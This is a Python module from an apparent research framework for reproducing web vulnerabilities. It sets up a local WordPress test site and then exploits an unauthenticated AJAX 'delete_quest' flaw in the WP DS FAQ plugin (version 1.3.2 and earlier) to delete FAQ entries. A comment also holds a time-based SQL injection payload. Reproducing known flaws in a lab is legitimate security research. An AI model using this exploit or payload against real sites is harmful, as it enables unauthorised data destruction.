<filename>framework/Exploits/OSVDB_74574A.py<gh_stars>1-10

# Copyright 2013 University of Maryland.  All rights reserved.
# Use of this source code is governed by a BSD-style
# license that can be found in the LICENSE.TXT file.

import framework  
import urllib
import httplib
  

class Exploit (framework.Exploit):
    attributes = {'Name' : "OSVDB_74574A",
                  'Description' : "WordPress WP DS FAQ plugin <= 1.3.2 ajax command delete_quest allows unauthenticated users to delete FAQ questions.",
                  'References' : [['OSVDB','74574'],
                                  ['http://osvdb.org/show/osvdb/74574'],
                                  ['http://www.exploit-db.com/exploits/17683/']],
                  'Target' : "Wordpress 3.2",
                  'Type' : "AUTH",
                  'Plugin' : "WP DS FAQ 1.3.2",
                  'Privileged' : False
                  }
                    
    def __init__(self, visible=False):
        framework.Exploit.__init__(self, visible)

        return

    def setup(self, target_system_dir):
        
        #create a dummy FAQ with a question
        driver = self.create_selenium_driver()
        driver.get("http://localhost/wordpress/wp-login.php")                            

        driver.find_element_by_id("user_login").send_keys("wpadmin")
        driver.find_element_by_id("user_pass").send_keys("<PASSWORD>")
        driver.find_element_by_id("wp-submit").click()
        
        driver.get("http://127.0.0.1/wordpress/wp-admin/options-general.php?page=wp-ds-faq/wp-ds-faq.php")
        
        driver.get_element(by_xpath="//input[@id='name_faq']").send_keys("FAQ1")
        #driver.execute_script("dsfaq_add_input();")
        driver.get_element(by_xpath="//a[text()='Add FAQ']").click()

        driver.get_element(by_link_text="Add question").click()

        driver.get_element(by_xpath="//input[@id='dsfaq_quest']").send_keys("question1")
        driver.get_element(by_xpath="//textarea[@id='dsfaq_answer']").send_keys("answer1")
        driver.get_element(by_xpath="//span[@class='button' and text()='Save']").click()
        driver.get_element(by_xpath="//td[text()='question1']")

        
        # add faq shortcode to first post
        
        driver.get("http://127.0.0.1/wordpress/wp-admin/post.php?post=1&action=edit")
        textareaelt = driver.get_element(by_xpath="//textarea[@id='content']")
        textareaelt.clear()
        textareaelt.send_keys("[dsfaq id=\"1\"]")
        driver.get_element(by_xpath="//input[@id='publish']").click()
        driver.get_element(by_xpath="//a[@href='http://127.0.0.1/wordpress/?p=1']")

        driver.cleanup()

        return

    def exploit(self):
        form_data = urllib.urlencode({'action' : 'delete_quest',
                                      'front' : '1',
                                      'id' : '1'})
# AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
        headers = {"Host":"127.0.0.1",
                   "Content-Type":"application/x-www-form-urlencoded",
                   "Accept": "application/json, text/javascript, */*;"
                   }
        
        conn = httplib.HTTPConnection("127.0.0.1")
        conn.request("POST",
                     "http://127.0.0.1/wordpress/wp-content/plugins/wp-ds-faq/ajax.php",
                     form_data,
                     headers)
        
        response = conn.getresponse()
        data = response.read()
        conn.close()

        return                

    def verify(self):
        
        verified = False
        driver = self.create_selenium_driver()
        driver.get("http://127.0.0.1/wordpress")
        
        if(driver.page_source.find("question1") == -1):
            verified = True
            self.logger.info("Question deleted")
        else:
            self.logger.info("Question not deleted")

        driver.cleanup()

        return verified
